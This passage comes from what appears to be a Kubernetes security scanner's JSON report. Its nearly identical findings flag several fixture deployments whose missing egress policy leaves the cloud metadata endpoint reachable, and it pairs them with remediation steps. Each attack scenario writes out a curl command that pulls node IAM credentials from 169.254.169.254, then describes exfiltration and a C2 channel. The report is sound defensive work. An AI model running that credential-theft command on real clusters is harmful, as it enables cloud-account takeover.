        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:rbac-fixtures:imp-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/rbac-fixtures/imp-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/rbac-fixtures/imp-app` runs in namespace `rbac-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/rbac-fixtures/imp-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "imp-app",
      "workload_namespace": "rbac-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `rbac-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec imp-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:rbac-fixtures:wildcard-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/rbac-fixtures/wildcard-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/rbac-fixtures/wildcard-app` runs in namespace `rbac-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/rbac-fixtures/wildcard-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "wildcard-app",
      "workload_namespace": "rbac-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `rbac-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec wildcard-app -n rbac-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:secrets-bundle:cross-ns-consumer",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/secrets-bundle/cross-ns-consumer` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/secrets-bundle/cross-ns-consumer` runs in namespace `secrets-bundle` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "cross-ns-consumer",
      "namespace": "secrets-bundle",
      "api_group": "apps"
    },
    "namespace": "secrets-bundle",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/secrets-bundle/cross-ns-consumer`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/secrets-bundle/cross-ns-consumer` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "cross-ns-consumer",
      "workload_namespace": "secrets-bundle"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `secrets-bundle` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec cross-ns-consumer -n secrets-bundle -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:statusspoof-fixtures:statusspoof-api",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/statusspoof-fixtures/statusspoof-api` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/statusspoof-fixtures/statusspoof-api` runs in namespace `statusspoof-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/statusspoof-fixtures/statusspoof-api` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "statusspoof-api",
      "workload_namespace": "statusspoof-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `statusspoof-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec statusspoof-api -n statusspoof-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:vulnerable:generic-hostpath-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/vulnerable/generic-hostpath-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/vulnerable/generic-hostpath-app` runs in namespace `vulnerable` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/vulnerable/generic-hostpath-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "generic-hostpath-app",
      "workload_namespace": "vulnerable"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `vulnerable` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec generic-hostpath-app -n vulnerable -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:vulnerable:host-ns-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/vulnerable/host-ns-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/vulnerable/host-ns-app` runs in namespace `vulnerable` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/vulnerable/host-ns-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "host-ns-app",
      "workload_namespace": "vulnerable"
    },
